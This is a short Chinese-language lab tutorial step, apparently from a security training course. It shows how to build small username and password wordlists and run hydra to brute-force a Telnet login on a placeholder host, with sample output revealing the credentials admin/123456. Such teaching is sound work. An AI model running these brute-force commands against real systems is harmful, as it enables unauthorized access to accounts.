通过 Telnet 使用暴力破解连接目标
在此步骤中,你将使用 hydra 对 Telnet 服务执行暴力破解攻击。由于我们不知道密码,我们将为 hydra 提供潜在的用户名和密码列表,以便自动尝试。
首先,创建两个简单的单词列表。一个用于用户名 (users.txt),一个用于密码 (pass.txt)。我们将包含常见和可能的候选词。
创建用户名列表:
echo -e "admin\nuser\nroot" > users.txt
创建密码列表:
echo -e "password\nadmin\n123456" > pass.txt
现在,使用 hydra 发起攻击。-L 标志指定用户列表,-P 指定密码列表,而 telnet://target 定义了要攻击的协议和主机。
hydra -L users.txt -P pass.txt telnet://target
hydra 现在将尝试使用你列表中的每种用户名和密码组合进行登录。片刻之后,它将找到正确的凭据并显示它们。
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-19 14:11:54
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries (l:3/p:3), ~1 try per task
[DATA] attacking telnet://target:23/
[23][telnet] host: target login: admin password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-19 14:11:57
输出清楚地显示找到了一个有效的登录:用户名是 admin,密码是 123456。